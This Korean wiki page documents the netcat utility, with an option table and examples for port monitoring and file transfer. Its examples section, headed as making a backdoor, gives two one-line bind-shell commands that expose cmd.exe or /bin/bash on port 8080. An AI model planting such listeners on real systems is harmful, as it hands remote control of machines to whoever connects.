====== netcat ======
===== 소개 =====
- Netcat(이하 nc로 표기)은 Network connection 에서 raw-data read, write를 할수 있는 유틸리티 프로그램입니다.
- 일반적으로는 UNIX의 cat과 비슷한 사용법을 가지고 있지만 cat이 파일에 쓰거나 읽듯이 nc는 네트워크에 읽거나 쓸수 있습니다.
- 이것은 스크립트와 병용하여 network에 대한 debugging, testing tool로써 매우 편리하고, \\ 원하는 포트로 원하는 데이터를 주고받을수 있는 특징때문에 해킹에도 널리 이용되며, \\ 컴퓨터 포렌식에 있어서 라이브시스템의 데이터를 손상없이 가져오기위해서도 사용될수 있습니다.
- nc은 원하는 거의 모든 종류의 접속형태를 만들어 낼 수 있고 \\ 흥미로운 몇 가지 내장기능을 갖고 있기 때문에 \\ 다기능의 네크워크 문제해결/조사시 유용하게 사용가능합니다
===== 다운로드 =====
- http://netcat.sourceforge.net
- http://www.securityfocus.com/tools/139/scoreit (윈도우용)
===== 사용방법 =====
==== 명령어 ====
# nc [Option] [Target_host] [Ports]
==== Option ====
^ 옵 션 ^ 설 명 ^
^ -e | -e [execute_filename] \\ -DGAPING_SECURITY_HOLE 옵션으로 Make 되었을 때 사용가능하다. \\ connection이 이루어졌을 때 file을 실행시킨다. \\ -l 옵션과 같이 사용되면 한 instance 만을 사용하는 inetd와 비슷하다. |
^ -g | I Gateway. \\ source-routing hop point[s]를 8씩 증가 |
^ -G | num. source-routing point를 4, 8, 12 .. 4씩 증가 |
^ -i | -i [interval time(seconds)] \\ nc는 일반적으로 8K씩 데이터를 보내고 받는데, \\ 그렇게 Standard input의 한 라인씩 interval time 마다 보내게 된다. |
^ -l | listen 모드로 nc을 띠우게 된다. \\ 당연히 target host는 입력하지 않는다. \\ -p와 같이 사용하게 된다. \\ nc를 server 로서 쓸때 사용. |
^ -n | not DNS. \\ DNS name을 사용하지 않는다. \\ 호스트 네임과 포트를 숫자로만 입력 받는다. |
^ -o | -o filename. \\ 보내거나 받은 데이터를 헥스덤프하여 파일에 저장한다. |
^ -p | -p [port number or name] \\ local-port 를 지정한다. \\ 주로 -l 과 같이 사용하게 된다. |
^ -r | random port. \\ port 지정이 여러개로 되어 있으면 이때 scanning 순서를 임의지정(randomize)하고 \\ (일반적으로 범위로 지정하면 높은 번호의 포트부터 스캔한다) \\ 또한 -p 옵션에서 지정가능한 local port도 임의지정(randomize) 합니다. \\ 이때 주의 할 것은 -p가 -r을 override 한다는 것입니다. |
^ -s | -s [ip address or DNS] \\ local의 ip와 dns를 지원한다. \\ 모든 플렛폼에서 지원되지는 않는다. |
^ -t | -DTELNET 옵션으로 컴파일 되었을 때 사용가능하다. \\ telnetd에 접속이 가능하도록 접속시 telnet과 같은 협상과정을 거친다. |
^ -u | TCP connection 대신에 UDP connection 이 이루어 진다. |
^ -v | Verbose. \\ 자세한 설명 모드 |
^ -w | timeout. \\ 마지막으로 읽고 난 후 종료할 시간을 정한다. |
^ -z | zero-I/O mode. \\ connection을 이루기 위한 최소한의 데이터 외에는 보내지 않도록 하는 옵션. \\ 스캐닝시 많이 쓰임 |
port 지정이 여러개로 되어 있으면 이때 scanning 순서를 randomize하고 (일반적으로 범위로 지정하면 높은 번호의 포트부터 스캔한다) 또한 -p 옵션에서 지정가능한 local port도 randomize 합니다. 이때 주의 할 것은 -p가 -r을 override 한다는 것입니다.
===== 활용예제 =====
==== Backdoor 만들기 ====
=== Windows NT. ===
c:\> nc -L -d -e c:\winnt\system32\cmd.exe -p 8080
=== UNIX/Linux ===
$ mkfifo /tmp/pipe; nc -l -p 8080 < /tmp/pipe | /bin/bash > /tmp/pipe
==== 특정 포트 모니터링하기 ====
v1rus ~ # nc -l -n -v -p 88
listening on [any] 88 ...
connect to [165.246.43.109] from (UNKNOWN) [58.224.135.86] 3710
==== 데이터 전송하기 ====
=== 예제 1 ===
- 받는서버(IP : 111.111.111.111)
$ nc -l 9000 > foo.txt
버젼이 낮을 경우
$ nc -l -p 9000 > foo.txt
- 보내는서버
$ nc 111.111.111.111 9000 < foo.txt
=== 예제 2 ===
- 받는서버(IP : 111.111.111.111)
$ nc -l 9000 | tar -xvz -f -
- 보내는서버
$ tar -cvz -f - directory | nc 111.111.111.111 9000
=== 예제 3 ===
- Receiver #nc -l -p 1234 | uncompress -c | tar xvfp -
- Sender #tar -cfp - /some/dir | compress -c | nc -w 3 othermachine 1234
===== ETC =====
- {{:application:2011_netcat참고서_v1.pdf| netcat 참고서}}